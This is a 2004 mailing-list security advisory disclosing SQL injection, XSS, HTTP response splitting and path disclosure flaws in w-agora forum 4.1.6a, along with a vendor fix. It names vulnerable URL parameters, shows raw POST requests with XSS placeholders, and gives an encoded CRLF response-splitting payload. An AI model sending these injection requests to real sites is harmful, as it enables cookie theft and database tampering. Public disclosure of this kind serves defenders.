full-disclosure - Multiple vulnerabilities in w-agora forum

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From: antipov at SecurityLab.ru (Alexander Antipov)
Subject: Multiple vulnerabilities in w-agora  forum

http://www.maxpatrol.com/mp_advisory.asp

Title: Multiple vulnerabilities in w-agora  forum
Date: 28.09.04
Severity: Medium
Application: w-agora 4.1.6a, http://www.w-agora/en/download.php
Platform: PHP

 I. DESCRIPTION

 Multiple vulnerabilities were found in w-agora forum. A remote user
 can conduct SQL injection attack, HTTP response splitting and Cross
site
 Scripting attack.

 1. SQL injection

redir_url.php?bn=demos_links&key=[SQL]

 2. XSS in GET:

download_thread.php?site=support&bn=support_install&thread=[XSS
 code here]

 3. XSS in POST:

 POST /login.php HTTP/1.1
 Host: w-agora
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 89
 loginform=1&redirect_url=1&loginuser=[XSS code here]&loginpassword=1

  POST /forgot_password.php HTTP/1.1
 Host: w-agora
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 48
 go=1&userid=[XSS code here]

 4. HTTP response splitting

/subscribe_thread.php?site=support&bn=support_in

stall&thread=%0d%0aContent-Length:%200%0d%0a%0d%0a%20200%20OK%0d%0aConte
nt-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScan
ned%20by%20PTsecurity%3c/html%3e%0d%0a

5. Path discourse
/list.php?bn=support_install&last=19&collapse=|id|

II. IMPACT

----------
A remote user can access the target user's cookies (including
authentication cookies).
A remote user can cause SQL commands to be executed by the underlying
database.

III. SOLUTION

-------------
Yes

IV. VENDOR FIX/RESPONSE

-----------------------

Yes, Fixed in CVS : subscribe_thread.php3,v 1.17, forgot_password.php3
v1.17, include/auth.php v1.45, list.php3 v1.53,

 V. CREDIT

-------------

 This vulnerability was discovered by Positive Technologies using
MaxPatrol (www.maxpatrol.com) - intellectual professional security
scanner. It is able to detect a substantial amount of vulnerabilities
not published yet. MaxPatrol's intelligent algorithms are also capable
to detect a lot of vulnerabilities in custom web-scripts (XSS, SQL and
code injections, HTTP Response splitting and other).

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